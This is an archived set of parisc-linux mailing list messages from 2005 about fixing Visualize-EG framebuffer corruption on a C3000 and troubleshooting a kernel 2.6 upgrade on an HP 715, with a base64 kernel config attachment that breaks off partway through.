X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hacking the PCI Vis-Eg to work on my c3k (corrupt
	fb?)
Date: Sun, 16 Jan 2005 17:32:04 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <200501161732.05030.mszick@wolfbutter.com>
References: <20050116230102.GV1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623653 12575 80.91.229.3 (22 Nov 2014 02:34:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2005 23:32:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 17 Jan 2005 00:32:54 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BACD53BE62; Sun, 16 Jan 2005 16:32:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16613-05; Sun, 16 Jan 2005 16:32:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3B3F73BE6A; Sun, 16 Jan 2005 16:32:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BEF73BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 16:32:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16613-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 16:32:33 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 637203BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 16:32:33 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j0GNWWnJ028945 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 15:32:32 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.189.152] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id MID1ZiZ5
	authenticated by SMTP; Sun, 16 Jan 2005 15:32:31 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <20050116230102.GV1281@baldric.uwo.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22298

On Sun January 16 2005 17:01, Carlos O'Donell wrote:
> 
> pa,
> 
> The video corruption I'm seeing looks like this:
> 
> http://www.baldric.uwo.ca/~carlos/IMGP1025.JPG
> http://www.baldric.uwo.ca/~carlos/IMGP1026.JPG
> http://www.baldric.uwo.ca/~carlos/IMGP1027.JPG
> 
> Any thoughts would be helpfull :)
> 
All of the penguin is in one (sort of) spot, not scattered.
Also has a displacement an approximate % of each dimension.

Some boards store r-g-b bitwise adjacent, some in planes.

Which ever sort a Vis-Eg is, the data is being written
in the other.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Working pci vis-eg in c3k,
	problem solution elucidated...
Date: Mon, 17 Jan 2005 12:03:08 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20050117170307.GC1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623654 12576 80.91.229.3 (22 Nov 2014 02:34:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2005 17:03:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 17 Jan 2005 18:03:43 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 721993BE51; Mon, 17 Jan 2005 10:03:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26687-04; Mon, 17 Jan 2005 10:03:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1DEA33BE66; Mon, 17 Jan 2005 10:03:15 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04BA93BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 10:03:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26687-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 10:03:09 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 866AC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 10:03:09 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CqaHU-0002lW-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 12:03:08 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22299


pa,

The following fixed my problems:

a. Boot box.
b. Stop at firmware.
c. Issue 'co' to enter configuration.
d. Issue 'mo <video hardware path> 12' to dispalbe VESA and
   doublebuffer.

Then boot the box. The sticonsole still seems squished but the colours
are right and gdm seems to load. I don't have a keyboard or mouse yet so 
I can't test it fully. Though it looks pretty.

I'll do some more research.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6 upgrade problems
Date: Mon, 17 Jan 2005 15:39:00 -0400 (AST)
Lines: 424
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0501171521470.3385@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
  BOUNDARY="17435138-715870050-1105990740=:3385"
X-Trace: ger.gmane.org 1416623654 12581 80.91.229.3 (22 Nov 2014 02:34:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2005 19:40:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 17 Jan 2005 20:40:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 80AB73BE51; Mon, 17 Jan 2005 12:40:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27621-07; Mon, 17 Jan 2005 12:39:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 222F43BE66; Mon, 17 Jan 2005 12:39:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2FA73BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 12:39:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26895-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 12:39:07 -0700 (MST)
Original-Received: from jingo.impsolweb.ca (h64-5-255-70.gtconnect.net [64.5.255.70])
	by free.linux.hp.com (Postfix) with ESMTP id 2D6F63BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 12:39:06 -0700 (MST)
Original-Received: from blk-222-177-142.eastlink.ca
	([24.222.177.142] helo=brain.fop.ns.ca ident=mail)
	by jingo.impsolweb.ca with esmtp (Exim 3.35 #1 (Debian))
	id 1CqciN-0007OB-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 15:39:04 -0400
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1CqciL-0000xS-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 15:39:01 -0400
X-X-Sender: lists@brain.fop.ns.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22300

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--17435138-715870050-1105990740=:3385
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I just upgraded my 715/100XC to 2.6.10-pa10 from 2.4.27, and I've hit a
few snags. First is I've lost serial console ("if this is the last message
you see..."). I did make oldconfig from the 2.4.27 config, but I think
I've fluffed it and missed the driver. Can someone see what I've missed in
the attached config?

Next, vmstat appears to fail with a segfault:

brain:/var/adm# vmstat 1
Unknown HZ value! (7) Assume 100.
   procs                      memory    swap          io     system         cpu
 r  b  w   swpd   free   buff  cache  si  so    bi    bo   in    cs  us  sy  id
Segmentation fault
brain:/var/adm#

A stack trace is dumped out to dmesg:
do_page_fault() pid=3580 command='vmstat' type=15 address=0x00000000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 40c4dbec 40b820ef 00000000
r04-07  faf00b90 faf00b90 00000000 40c52af0
r08-11  faf00b18 faf00940 faf00970 faf009b0
r12-15  faf00960 faf009a0 faf00990 faf00980
r16-19  faf009c0 00000001 00000000 40c52af0
r20-23  80808000 01010101 00000000 80808080
r24-27  00000000 00000000 00000000 0002205c
r28-31  00000000 00000070 faf00d80 40b4118b
sr0-3   00000000 00000000 00000000 000002c8
sr4-7   000002c8 000002c8 000002c8 000002c8

IASQ: 000002c8 000002c8 IAOQ: 40b8a86f 40b8a873
 IIR: 0ec810b4    ISR: 000002c8  IOR: 00000000
 CPU:        0   CR30: 14e6c000 CR31: 10370000
 ORIG_R28: 0000016b
 IAOQ[0]: 0x40b8a86f
 IAOQ[1]: 0x40b8a873
 RP(r2): 0x40b820ef

Can anyone give me any pointers on how to decode this? I can't see
anything that matches up to my System.map, has it changed for 2.6?

Finally (and it may not have been a great idea to do this at the same time
as doing the kernel upgrade) I put in a DAT drive I acquired. This is
failing when I try to write to it with the following error in dmesg:

st0: Error with sense data: Info fld=0x14, Current st0: sense = f0  3
ASC= c ASCQ= 0
Raw sense data:0xf0 0x00 0x03 0x00 0x00 0x00 0x14 0x2c 0x00 0x00 0x00 0x00
0x0c 0x00 0x00 0x00 0x00 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0
x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

The tape drive is a IBM-C568303030!D which, while manufactured by HP, was
(I believe) intended for use in an AIX system and may be the reason it's
not working, but if anyone can give me any hints it'd be much appreciated.

Cheers, Steve
--17435138-715870050-1105990740=:3385
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=config_2610pa10
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0501171539000.3385@brain.fop.ns.ca>
Content-Description: config_2610pa10
Content-Disposition: attachment; filename=config_2610pa10

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBtYWtlIGNvbmZpZzogZG9u
J3QgZWRpdA0KIyBMaW51eCBrZXJuZWwgdmVyc2lvbjogMi42LjEwLXBhMTAN
CiMgTW9uIEphbiAxMCAxNjoxMzozNyAyMDA1DQojDQpDT05GSUdfUEFSSVND
PXkNCkNPTkZJR19NTVU9eQ0KQ09ORklHX1NUQUNLX0dST1dTVVA9eQ0KQ09O
RklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQ0KQ09ORklHX0dFTkVSSUNf
SEFSRElSUVM9eQ0KQ09ORklHX0dFTkVSSUNfSVJRX1BST0JFPXkNCg0KIw0K
IyBDb2RlIG1hdHVyaXR5IGxldmVsIG9wdGlvbnMNCiMNCkNPTkZJR19FWFBF
UklNRU5UQUw9eQ0KQ09ORklHX0NMRUFOX0NPTVBJTEU9eQ0KQ09ORklHX0JS
T0tFTl9PTl9TTVA9eQ0KDQojDQojIEdlbmVyYWwgc2V0dXANCiMNCkNPTkZJ
R19MT0NBTFZFUlNJT049InJldjEiDQpDT05GSUdfU1dBUD15DQpDT05GSUdf
U1lTVklQQz15DQpDT05GSUdfUE9TSVhfTVFVRVVFPXkNCiMgQ09ORklHX0JT
RF9QUk9DRVNTX0FDQ1QgaXMgbm90IHNldA0KQ09ORklHX1NZU0NUTD15DQoj
IENPTkZJR19BVURJVCBpcyBub3Qgc2V0DQpDT05GSUdfTE9HX0JVRl9TSElG
VD0xNA0KIyBDT05GSUdfSE9UUExVRyBpcyBub3Qgc2V0DQpDT05GSUdfS09C
SkVDVF9VRVZFTlQ9eQ0KQ09ORklHX0lLQ09ORklHPXkNCkNPTkZJR19JS0NP
TkZJR19QUk9DPXkNCiMgQ09ORklHX0VNQkVEREVEIGlzIG5vdCBzZXQNCkNP
TkZJR19LQUxMU1lNUz15DQojIENPTkZJR19LQUxMU1lNU19FWFRSQV9QQVNT
IGlzIG5vdCBzZXQNCkNPTkZJR19GVVRFWD15DQpDT05GSUdfRVBPTEw9eQ0K
IyBDT05GSUdfQ0NfT1BUSU1JWkVfRk9SX1NJWkUgaXMgbm90IHNldA0KQ09O
RklHX1NITUVNPXkNCkNPTkZJR19DQ19BTElHTl9GVU5DVElPTlM9MA0KQ09O
RklHX0NDX0FMSUdOX0xBQkVMUz0wDQpDT05GSUdfQ0NfQUxJR05fTE9PUFM9
MA0KQ09ORklHX0NDX0FMSUdOX0pVTVBTPTANCiMgQ09ORklHX1RJTllfU0hN
RU0gaXMgbm90IHNldA0KDQojDQojIExvYWRhYmxlIG1vZHVsZSBzdXBwb3J0
DQojDQpDT05GSUdfTU9EVUxFUz15DQpDT05GSUdfTU9EVUxFX1VOTE9BRD15
DQojIENPTkZJR19NT0RVTEVfRk9SQ0VfVU5MT0FEIGlzIG5vdCBzZXQNCkNP
TkZJR19PQlNPTEVURV9NT0RQQVJNPXkNCkNPTkZJR19NT0RWRVJTSU9OUz15
DQojIENPTkZJR19NT0RVTEVfU1JDVkVSU0lPTl9BTEwgaXMgbm90IHNldA0K
Q09ORklHX0tNT0Q9eQ0KDQojDQojIFByb2Nlc3NvciB0eXBlIGFuZCBmZWF0
dXJlcw0KIw0KIyBDT05GSUdfUEE3MDAwIGlzIG5vdCBzZXQNCkNPTkZJR19Q
QTcxMDBMQz15DQojIENPTkZJR19QQTcyMDAgaXMgbm90IHNldA0KIyBDT05G
SUdfUEE3MzAwTEMgaXMgbm90IHNldA0KIyBDT05GSUdfUEE4WDAwIGlzIG5v
dCBzZXQNCkNPTkZJR19QQTExPXkNCiMgQ09ORklHXzY0QklUIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NNUCBpcyBub3Qgc2V0DQojIENPTkZJR19ESVNDT05U
SUdNRU0gaXMgbm90IHNldA0KIyBDT05GSUdfUFJFRU1QVCBpcyBub3Qgc2V0
DQojIENPTkZJR19IUFVYIGlzIG5vdCBzZXQNCg0KIw0KIyBCdXMgb3B0aW9u
cyAoUENJLCBQQ01DSUEsIEVJU0EsIEdTQywgSVNBKQ0KIw0KQ09ORklHX0dT
Qz15DQojIENPTkZJR19IUFBCIGlzIG5vdCBzZXQNCkNPTkZJR19JT01NVV9D
Q0lPPXkNCkNPTkZJR19HU0NfTEFTST15DQpDT05GSUdfR1NDX1dBWD15DQpD
T05GSUdfRUlTQT15DQpDT05GSUdfRUlTQV9OQU1FUz15DQpDT05GSUdfSVNB
PXkNCiMgQ09ORklHX1BDSSBpcyBub3Qgc2V0DQpDT05GSUdfQ0hBU1NJU19M
Q0RfTEVEPXkNCiMgQ09ORklHX1BEQ19DSEFTU0lTIGlzIG5vdCBzZXQNCg0K
Iw0KIyBFeGVjdXRhYmxlIGZpbGUgZm9ybWF0cw0KIw0KQ09ORklHX0JJTkZN
VF9FTEY9eQ0KQ09ORklHX0JJTkZNVF9NSVNDPW0NCg0KIw0KIyBEZXZpY2Ug
RHJpdmVycw0KIw0KDQojDQojIEdlbmVyaWMgRHJpdmVyIE9wdGlvbnMNCiMN
CkNPTkZJR19TVEFOREFMT05FPXkNCkNPTkZJR19QUkVWRU5UX0ZJUk1XQVJF
X0JVSUxEPXkNCg0KIw0KIyBNZW1vcnkgVGVjaG5vbG9neSBEZXZpY2VzIChN
VEQpDQojDQojIENPTkZJR19NVEQgaXMgbm90IHNldA0KDQojDQojIFBhcmFs
bGVsIHBvcnQgc3VwcG9ydA0KIw0KQ09ORklHX1BBUlBPUlQ9bQ0KQ09ORklH
X1BBUlBPUlRfUEM9bQ0KQ09ORklHX1BBUlBPUlRfUENfQ01MMT1tDQojIENP
TkZJR19QQVJQT1JUX1BDX0ZJRk8gaXMgbm90IHNldA0KIyBDT05GSUdfUEFS
UE9SVF9QQ19TVVBFUklPIGlzIG5vdCBzZXQNCkNPTkZJR19QQVJQT1JUX0dT
Qz1tDQojIENPTkZJR19QQVJQT1JUX09USEVSIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1BBUlBPUlRfMTI4NCBpcyBub3Qgc2V0DQoNCiMNCiMgUGx1ZyBhbmQg
UGxheSBzdXBwb3J0DQojDQojIENPTkZJR19QTlAgaXMgbm90IHNldA0KDQoj
DQojIEJsb2NrIGRldmljZXMNCiMNCiMgQ09ORklHX0JMS19ERVZfRkQgaXMg
bm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9YRCBpcyBub3Qgc2V0DQojIENP
TkZJR19QQVJJREUgaXMgbm90IHNldA0KQ09ORklHX0JMS19ERVZfTE9PUD15
DQojIENPTkZJR19CTEtfREVWX0NSWVBUT0xPT1AgaXMgbm90IHNldA0KQ09O
RklHX0JMS19ERVZfTkJEPW0NCkNPTkZJR19CTEtfREVWX1JBTT15DQpDT05G
SUdfQkxLX0RFVl9SQU1fQ09VTlQ9MTYNCkNPTkZJR19CTEtfREVWX1JBTV9T
SVpFPTQwOTYNCkNPTkZJR19CTEtfREVWX0lOSVRSRD15DQpDT05GSUdfSU5J
VFJBTUZTX1NPVVJDRT0iIg0KIyBDT05GSUdfQ0RST01fUEtUQ0RWRCBpcyBu
b3Qgc2V0DQoNCiMNCiMgSU8gU2NoZWR1bGVycw0KIw0KQ09ORklHX0lPU0NI
RURfTk9PUD15DQpDT05GSUdfSU9TQ0hFRF9BUz15DQpDT05GSUdfSU9TQ0hF
RF9ERUFETElORT15DQpDT05GSUdfSU9TQ0hFRF9DRlE9eQ0KDQojDQojIEFU
QS9BVEFQSS9NRk0vUkxMIHN1cHBvcnQNCiMNCiMgQ09ORklHX0lERSBpcyBu
b3Qgc2V0DQoNCiMNCiMgU0NTSSBkZXZpY2Ugc3VwcG9ydA0KIw0KQ09ORklH
X1NDU0k9eQ0KQ09ORklHX1NDU0lfUFJPQ19GUz15DQoNCiMNCiMgU0NTSSBz
dXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUsIENELVJPTSkNCiMNCkNPTkZJR19C
TEtfREVWX1NEPXkNCkNPTkZJR19DSFJfREVWX1NUPW0NCiMgQ09ORklHX0NI
Ul9ERVZfT1NTVCBpcyBub3Qgc2V0DQpDT05GSUdfQkxLX0RFVl9TUj1tDQoj
IENPTkZJR19CTEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0DQpDT05GSUdf
Q0hSX0RFVl9TRz1tDQoNCiMNCiMgU29tZSBTQ1NJIGRldmljZXMgKGUuZy4g
Q0QganVrZWJveCkgc3VwcG9ydCBtdWx0aXBsZSBMVU5zDQojDQojIENPTkZJ
R19TQ1NJX01VTFRJX0xVTiBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0NP
TlNUQU5UUyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0xPR0dJTkcgaXMg
bm90IHNldA0KDQojDQojIFNDU0kgVHJhbnNwb3J0IEF0dHJpYnV0ZXMNCiMN
CkNPTkZJR19TQ1NJX1NQSV9BVFRSUz15DQojIENPTkZJR19TQ1NJX0ZDX0FU
VFJTIGlzIG5vdCBzZXQNCg0KIw0KIyBTQ1NJIGxvdy1sZXZlbCBkcml2ZXJz
DQojDQojIENPTkZJR19TQ1NJXzcwMDBGQVNTVCBpcyBub3Qgc2V0DQojIENP
TkZJR19TQ1NJX0FIQTE1MlggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9B
SEExNTQyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQUhBMTc0MCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX0FJQzdYWFggaXMgbm90IHNldA0KIyBD
T05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX0lOMjAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1NBVEEgaXMg
bm90IHNldA0KIyBDT05GSUdfU0NTSV9CVVNMT0dJQyBpcyBub3Qgc2V0DQoj
IENPTkZJR19TQ1NJX0RUQzMyODAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9FQVRBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfRUFUQV9QSU8gaXMg
bm90IHNldA0KIyBDT05GSUdfU0NTSV9GVVRVUkVfRE9NQUlOIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfR0RUSCBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX0dFTkVSSUNfTkNSNTM4MCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJ
X0dFTkVSSUNfTkNSNTM4MF9NTUlPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ND
U0lfUFBBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfSU1NIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfTkNSNTNDNDA2QSBpcyBub3Qgc2V0DQpDT05G
SUdfU0NTSV9MQVNJNzAwPXkNCkNPTkZJR181M0M3MDBfTUVNX01BUFBFRD15
DQpDT05GSUdfNTNDNzAwX0xFX09OX0JFPXkNCiMgQ09ORklHX1NDU0lfWkFM
T04gaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9QQVMxNiBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX1BTSTI0MEkgaXMgbm90IHNldA0KIyBDT05GSUdf
U0NTSV9RTE9HSUNfRkFTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU0lN
NzEwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU1lNNTNDNDE2IGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfVDEyOCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX1UxNF8zNEYgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9ERUJV
